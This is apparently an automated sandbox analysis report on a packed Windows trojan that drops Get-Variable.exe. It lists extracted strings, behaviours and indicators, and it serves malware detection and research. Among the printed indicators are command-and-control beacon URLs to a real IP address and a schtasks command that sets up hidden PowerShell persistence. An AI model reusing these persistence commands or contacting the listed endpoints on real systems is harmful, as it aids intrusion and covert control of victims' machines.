Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285h
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285i
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iO
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iX
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iq
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iz
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285j
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285jf
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285k
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285kZ
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285l
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285lg
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285m
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285mp
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285n
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285o
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285oM
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285p
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285q
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285qM
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285r
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285s
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sO
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sX
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sq
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sz
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285t
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285u
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285uL
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285u~
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285v
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285vg
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285w
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285wp
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285x
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285xg
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285y
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285yp
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285z
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285~
Source: Get-Variable.exe, 00000007.00000002.910259881.00000000019B3000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=update&uid=7788F0C9B3493382528285
Source: q2t57gIiIY.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: q2t57gIiIY.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: q2t57gIiIY.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000004.00000002.909171860.000001D29A460000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: q2t57gIiIY.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: q2t57gIiIY.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: q2t57gIiIY.exe	String found in binary or memory: http://ocsp.digicert.com0N
Source: q2t57gIiIY.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000004.00000002.904757927.000001D2823D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: q2t57gIiIY.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: q2t57gIiIY.exe	String found in binary or memory: https://mozilla.org0
Source: q2t57gIiIY.exe	String found in binary or memory: https://www.digicert.com/CPS0

System Summary:

Detected VMProtect packer

Show sources

Source: Get-Variable.exe.1.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Code function: 3_2_01914958	3_2_01914958
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35AF6662	4_2_00007FFA35AF6662
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B01618	4_2_00007FFA35B01618
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B01CAA	4_2_00007FFA35B01CAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B00358	4_2_00007FFA35B00358
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35AF6695	4_2_00007FFA35AF6695
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35AF4D68	4_2_00007FFA35AF4D68
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B01865	4_2_00007FFA35B01865
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B0183D	4_2_00007FFA35B0183D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35AF8943	4_2_00007FFA35AF8943
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B018C8	4_2_00007FFA35B018C8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35AF2BE8	4_2_00007FFA35AF2BE8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35AF7252	4_2_00007FFA35AF7252

Source: q2t57gIiIY.exe

Static PE information: invalid certificate

Source: Get-Variable.exe.1.dr	Static PE information: Number of sections : 11 > 10
Source: q2t57gIiIY.exe	Static PE information: Number of sections : 11 > 10

Source: q2t57gIiIY.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Get-Variable.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: q2t57gIiIY.exe, 00000001.00000002.665368400.00000000047E0000.00000002.00000001.sdmp

Binary or memory string: OriginalFilenamemswsock.dll.muij% vs q2t57gIiIY.exe

Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Section loaded: winnsi.dll	Jump to behavior

Source: q2t57gIiIY.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: Process Memory Space: powershell.exe PID: 6632, type: MEMORYSTR

Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file

Source: classification engine

Classification label: mal100.troj.evad.winEXE@9/8@0/2

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\PSReadlineHistoryFile_1240799059
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6708:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5mslrkm.htf.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: q2t57gIiIY.exe

ReversingLabs: Detection: 21%

Source: powershell.exe

String found in binary or memory: @{RootModule = 'PSReadLine.psm1'NestedModules = @("Microsoft.PowerShell.PSReadLine.dll")ModuleVersion = '1.2'GUID = '5714753b-2afd-4492-a5fd-01d9e2cff8b5'Author = 'Microsoft Corporation'CompanyName = 'Microsoft Corporation'Copyright = '(c) Microsoft Corporation. All rights reserved.'Description = 'Great command line editing in the PowerShell console host'PowerShellVersion = '3.0'DotNetFrameworkVersion = '4.0'CLRVersion = '4.0'AliasesToExport = @()FunctionsToExport = 'PSConsoleHostReadline'CmdletsToExport = 'Get-PSReadlineKeyHandler','Set-PSReadlineKeyHandler','Remove-PSReadlineKeyHandler', 'Get-PSReadlineOption','Set-PSReadlineOption'HelpInfoURI = 'https://go.microsoft.com/fwlink/?LinkId=528806'}function PSConsoleHostReadline{ Microsoft.PowerShell.Core\Set-StrictMode -Off [Microsoft.PowerShell.PSConsoleReadLine]::ReadLine($host.Runspace, $ExecutionContext)}prompt"PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) ";# .Link# https://go.microsoft.com/fwlink/?LinkID=225750# .ExternalHelp System.Management.Automation.dll-help.xml

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

File read: C:\Users\user\Desktop\q2t57gIiIY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\q2t57gIiIY.exe 'C:\Users\user\Desktop\q2t57gIiIY.exe'
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr 'powershell.exe -windowstyle hidden'
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Process created: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe 'C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe' Name host ValueOnly True
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr 'powershell.exe -windowstyle hidden'	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Process created: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe 'C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe' Name host ValueOnly True	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: q2t57gIiIY.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: q2t57gIiIY.exe

Static file information: File size 6601656 > 1048576

Source: q2t57gIiIY.exe

Static PE information: Raw size of .vmp1 is bigger than: 0x100000 < 0x638a00

Data Obfuscation:

Suspicious powershell command line found

Show sources

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: Get-Variable.exe.1.dr	Static PE information: real checksum: 0x64a94b should be: 0x650610
Source: q2t57gIiIY.exe	Static PE information: real checksum: 0x64a94b should be: 0x650610

Source: q2t57gIiIY.exe	Static PE information: section name: .eh_fram
Source: q2t57gIiIY.exe	Static PE information: section name: .vmp0
Source: q2t57gIiIY.exe	Static PE information: section name: .vmp1
Source: Get-Variable.exe.1.dr	Static PE information: section name: .eh_fram
Source: Get-Variable.exe.1.dr	Static PE information: section name: .vmp0
Source: Get-Variable.exe.1.dr	Static PE information: section name: .vmp1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B075DE push eax; iretd		4_2_00007FFA35B075ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFA35B075AE pushad ; iretd		4_2_00007FFA35B075DD

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

File created: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr 'powershell.exe -windowstyle hidden'

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

File opened: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe:Zone.Identifier read attributes | delete

Jump to behavior

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Show sources

Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 190005 value: E9 FB BF F5 76	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 770EC000 value: E9 0A 40 0A 89	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 1A0008 value: E9 AB E0 F8 76	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 7712E0B0 value: E9 60 1F 07 89	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 1810005 value: E9 CB 5A DC 72	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 745D5AD0 value: E9 3A A5 23 8D	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 1820005 value: E9 5B B0 DD 72	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 745FB060 value: E9 AA 4F 22 8D	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 1830005 value: E9 DB F8 28 73	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 74ABF8E0 value: E9 2A 07 D7 8C	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 1840005 value: E9 FB 42 2A 73	Jump to behavior
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Memory written: PID: 5960 base: 74AE4300 value: E9 0A BD D5 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 1E0005 value: E9 FB BF F0 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 770EC000 value: E9 0A 40 0F 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 1F0008 value: E9 AB E0 F3 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 7712E0B0 value: E9 60 1F 0C 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 18D0005 value: E9 CB 5A D0 72	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 745D5AD0 value: E9 3A A5 2F 8D	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 18E0005 value: E9 5B B0 D1 72	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 745FB060 value: E9 AA 4F 2E 8D	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 18F0005 value: E9 DB F8 1C 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 74ABF8E0 value: E9 2A 07 E3 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 1900005 value: E9 FB 42 1E 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6656 base: 74AE4300 value: E9 0A BD E1 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 1A0005 value: E9 FB BF F4 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 770EC000 value: E9 0A 40 0B 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 1B0008 value: E9 AB E0 F7 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 7712E0B0 value: E9 60 1F 08 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 1D0005 value: E9 CB 5A 40 74	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 745D5AD0 value: E9 3A A5 BF 8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 1E0005 value: E9 5B B0 41 74	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 745FB060 value: E9 AA 4F BE 8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 1F0005 value: E9 DB F8 8C 74	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 74ABF8E0 value: E9 2A 07 73 8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 18D0005 value: E9 FB 42 21 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Memory written: PID: 6952 base: 74AE4300 value: E9 0A BD DE 8C	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
